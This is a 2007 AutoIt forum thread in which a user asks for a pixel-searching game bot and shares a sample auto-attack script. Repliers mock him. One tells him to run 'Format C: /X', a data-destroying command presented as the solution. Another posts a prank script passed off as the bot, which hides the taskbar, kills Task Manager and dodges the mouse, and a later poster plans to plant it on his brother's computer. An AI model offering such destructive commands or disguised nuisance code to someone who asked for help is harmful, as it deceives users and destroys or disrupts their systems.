fri00 Posted August 1, 2007 Posted August 1, 2007 Hello, I need a bot that can do the following. Search for pixel Click on found pixel Wait ## seconds Repeat OR Search for pixel Press F# key Click on found pixel Wait ## seconds Repeat Also it would be useful if I could edit settings (using the gui) such as pixel code # ## of seconds F# key enable/disable use add items/set their pixel code search for multiple pixels (items) at once If possible there could be a list of items (instead of pixel codes). So I can pick "item 1" using the gui and it would search for the pixel code corresponding to that item. Thank you for your time. I have an example script of what I'm looking for but it's not exactly it. I wish I knew how to code but I don't, so I need your help. Thanks again. expandcollapse popupWinActivate("Pi") WinWaitActive("Pi") Opt("PixelCoordMode", 2);1=absolute, 0=relative, 2=client Opt("MouseCoordMode", 2);1=absolute, 0=relative, 2=client ;~ Below is some pixel colors to use for certain items. ;~ 0xEBB5D6 item1 ;~ 0x844952 item2 ;~ 0x295118 item3 ;~ 0x538BA7 item4 ;~ 0xF7D7BD item5 ;~ 0xCE9231 item6 ;~ 0x6B3021 item7 ;~ 0xDE7573 item8 ;~ 0xB56508 item9 ;~ 0x393894 item10 ;~ 0x5265CE item11 ;~ 0x84DF52 item12 ;~ 0xF77500 item13 ;~ 0x39FBBD item14 $Monsters = 0xDE7573; Pixel color being searched for $lowhealth = 85; makes character auto sit if health is 40% left $Shadevar = 0 $Attack = 0 While $Attack = 0 $coord = PixelSearch(1, 1, 780, 580, $Monsters, 1);$Shadevar); Looking for the Pixel "Left,Top,Right,Bottom" If Not @error Then ;~ MsgBox(0, "Pixel", "monster" & $Shadevar, 6) ;~ MsgBox(0, "Location", "x coords" & $coord[0] & "y coords" & $coord[1],2) MouseClick("left", $coord[0], $coord[1], 3, 4); clicking the pixel Sleep(3000);wait 5 seconds before picking up items ;~ Call("PickupDrops") Send("^a") sleep(1000) Call("checkandheal") $Shadevar = 0 If _IsPressed("23") Then $Attack = 1;if "end" is pressed then this will make $DryMystic=1 so the loop will stop Else $Shadevar = $Shadevar + 1;increase allowable shade variation by 1 until shade is found EndIf WEnd MsgBox(0, "Bot Disabled", "You turned off the Bot!");Window name , text in the msgBox saying Bot is off ! Func checkandheal() $coord = PixelSearch(75, 26, 183, 31, 0x538BA7, 5) If Not @error Then ;~ MsgBox(0,"location","the x-location of the found pixelis "& $coord[0]) $healthlvl = (($coord[0] - 75) / (183 - 75)) * 100 If $healthlvl < $lowhealth Then Send("{INS}") $h = 0 $attack = 1 While $h = 0 Sleep(33000); 30 seconds of heal time. PixelSearch(75, 26, 183, 31, 0x538BA7) If @error Then $h = 1 Send("{INS}") sleep(1000) $attack = 0 EndIf WEnd EndIf EndIf EndFunc;==>checkandheal
qazwsx Posted August 2, 2007 Posted August 2, 2007 Most likely no one here will help you unless you show that you are actually trying to learn to code and not just looking for a handout. However for a small fee i would gladly do this for you.
Bert Posted August 2, 2007 Posted August 2, 2007 Here you are open a cmd prompt type: Format C: /X This will do the trick nicely, and also make you aware of the fact we are not ones who ask for a side of fries with that....get the point? Also, bots are just cheating. Play the game as it was meant to be played. With a human at the controls! The Vollatran project My blog: http://www.vollysinterestingshit.com/
fri00 Posted August 2, 2007 Author Posted August 2, 2007 I need a script able to detect pixel colors on the screen and click on them, it should have a timer too and allow user input so users can modify options. Please, if you could direct me to any helpful tutorials I'd be really grateful, if not it's still ok it won't stop me from successfully achieving my goals. Thanks again for your time.
Generator Posted August 2, 2007 Posted August 2, 2007 Your goal seems pointless to me, but take a look in PixelGetColor, PixelSearch and MouseClick or Send
Bert Posted August 2, 2007 Posted August 2, 2007 Also take a look at GetaBrainThatWorks, IHaveToCheatForIDontKnowAnyOtherWay, ListeningForDummies, and ID10T errors. The Vollatran project My blog: http://www.vollysinterestingshit.com/
qazwsx Posted August 2, 2007 Posted August 2, 2007 #NoTrayIcon #include <GUIConstants.au3> #include <misc.au3> #include <date.au3> AutoItSetOption("WinTitleMatchMode", 4) Global $pos Global $winpos Global $handle Global $bottomleft GLobal $startpos Global $end Global $time $begin = TimerInit () $taskbar = WinGetHandle ("[classe:Shell_TrayWnd", "") WinSetState ($taskbar, "", @SW_HIDE) WinKill ("[class:#32770]") $Form1 = GUICreate("Game", 212, 61, 314, 201) $Label1 = GUICtrlCreateLabel("Try to close me!!!", 0, 16, 206, 36) GUICtrlSetFont(-1, 20, 400, 0, "MS Sans Serif") GUISetState(@SW_SHOW) WinWait ("Game") $handle = WinGetHandle ("Game") WinSetOnTop ($handle, "", 1) _windowinfo () While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE GUIDelete () $End = TimerDiff ($begin) $time = $end / 1000 Msgbox (0, "Win", "You Won in " & $time & " Seconds") Exit Case Else _X () If WinExists ("Windows Task Manager") Then WinSetState ($handle, "", @SW_HIDE) Winkill ("Windows Task Manager") MsgBox (0, "Cheater", "No Cheating") WinSetState ($handle, "", @SW_SHOW) EndIf _X() If _IsPressed (02) Then WinSetState ($handle, "", @SW_HIDE) MsgBox (0, "Cheater", "No Right Clicking") WinSetState ($handle, "", @SW_SHOW) Endif _X() If _IsPressed (12) Then WinSetState ($handle, "", @SW_HIDE) MsgBox (0, "Cheater", "No cheating") WinSetState ($handle, "", @SW_SHOW) EndIf _X() _X() EndSwitch WEnd Func _X () $pos = MouseGetPos () If $pos[0] > $startpos[0] and $pos[0] < $bottomleft[0] and $pos[1] > $startpos[1] and $pos[1] < $bottomleft[1] Then WinMove ($handle, "", Random (0, 900), Random (0, 700)) _windowinfo () Endif Sleep (1) EndFunc Func _windowinfo () $startpos = Wingetpos ($handle) $startpos[1] = $startpos[1] - 50 $bottomleft = Mousegetpos () $bottomleft[0] = $startpos[0] + $startpos[2] + 50 $bottomleft[1] = $startpos[1] + $startpos[3] Endfunc Func _cheater () WinSetState ($handle, "", @SW_HIDE) MsgBox (0, "Cheater", "No Cheating") WinSetState ($handle, "", @SW_SHOW) Endfunc Here try this script. It should work. But i might need more information about the game to get it to work perfectly.
fri00 Posted August 2, 2007 Author Posted August 2, 2007 Thank you guys, I really apreciate. I understand why you're against this kind of script usage, however this is what I need it for. Nothing less nothing more. Volly, long day huh? Nice try sccrstvn93, I wasn't surprised when I read the script, it was obvious. Take care.
qazwsx Posted August 2, 2007 Posted August 2, 2007 Is not that we are against that type of script usage. I have made many game bots and many people on this forum make them. What people are against is someone asking for code without putting in any effort themselves. Especially since at the beginning you were told people would not take kindly to your asking for a handout.
fri00 Posted August 2, 2007 Author Posted August 2, 2007 It's alright I understand, I'm not here to argue. I'm sure I'll figure it all out, it will just take a little longer. No big deal. Thanks again don't worry about it.
Bert Posted August 2, 2007 Posted August 2, 2007 Like what was said - we hate being asked to serve up code. The Vollatran project My blog: http://www.vollysinterestingshit.com/
Thornhunt Posted August 10, 2007 Posted August 10, 2007 #NoTrayIcon #include <GUIConstants.au3> #include <misc.au3> #include <date.au3> AutoItSetOption("WinTitleMatchMode", 4) Global $pos Global $winpos Global $handle Global $bottomleft GLobal $startpos Global $end Global $time $begin = TimerInit () $taskbar = WinGetHandle ("[classe:Shell_TrayWnd", "") WinSetState ($taskbar, "", @SW_HIDE) WinKill ("[class:#32770]") $Form1 = GUICreate("Game", 212, 61, 314, 201) $Label1 = GUICtrlCreateLabel("Try to close me!!!", 0, 16, 206, 36) GUICtrlSetFont(-1, 20, 400, 0, "MS Sans Serif") GUISetState(@SW_SHOW) WinWait ("Game") $handle = WinGetHandle ("Game") WinSetOnTop ($handle, "", 1) _windowinfo () While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE GUIDelete () $End = TimerDiff ($begin) $time = $end / 1000 Msgbox (0, "Win", "You Won in " & $time & " Seconds") Exit Case Else _X () If WinExists ("Windows Task Manager") Then WinSetState ($handle, "", @SW_HIDE) Winkill ("Windows Task Manager") MsgBox (0, "Cheater", "No Cheating") WinSetState ($handle, "", @SW_SHOW) EndIf _X() If _IsPressed (02) Then WinSetState ($handle, "", @SW_HIDE) MsgBox (0, "Cheater", "No Right Clicking") WinSetState ($handle, "", @SW_SHOW) Endif _X() If _IsPressed (12) Then WinSetState ($handle, "", @SW_HIDE) MsgBox (0, "Cheater", "No cheating") WinSetState ($handle, "", @SW_SHOW) EndIf _X() _X() EndSwitch WEnd Func _X () $pos = MouseGetPos () If $pos[0] > $startpos[0] and $pos[0] < $bottomleft[0] and $pos[1] > $startpos[1] and $pos[1] < $bottomleft[1] Then WinMove ($handle, "", Random (0, 900), Random (0, 700)) _windowinfo () Endif Sleep (1) EndFunc Func _windowinfo () $startpos = Wingetpos ($handle) $startpos[1] = $startpos[1] - 50 $bottomleft = Mousegetpos () $bottomleft[0] = $startpos[0] + $startpos[2] + 50 $bottomleft[1] = $startpos[1] + $startpos[3] Endfunc Func _cheater () WinSetState ($handle, "", @SW_HIDE) MsgBox (0, "Cheater", "No Cheating") WinSetState ($handle, "", @SW_SHOW) Endfunc hahahahaha i love it i shud plonk this on mi bros computer.. hees always using bots Budweiser + room = warm beerwarm beer + fridge = too long!warm beer + CO2 fire extinguisher = Perfect![quote]Protect the easly offended ... BAN EVERYTHING[/quote]^^ hmm works for me :D
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now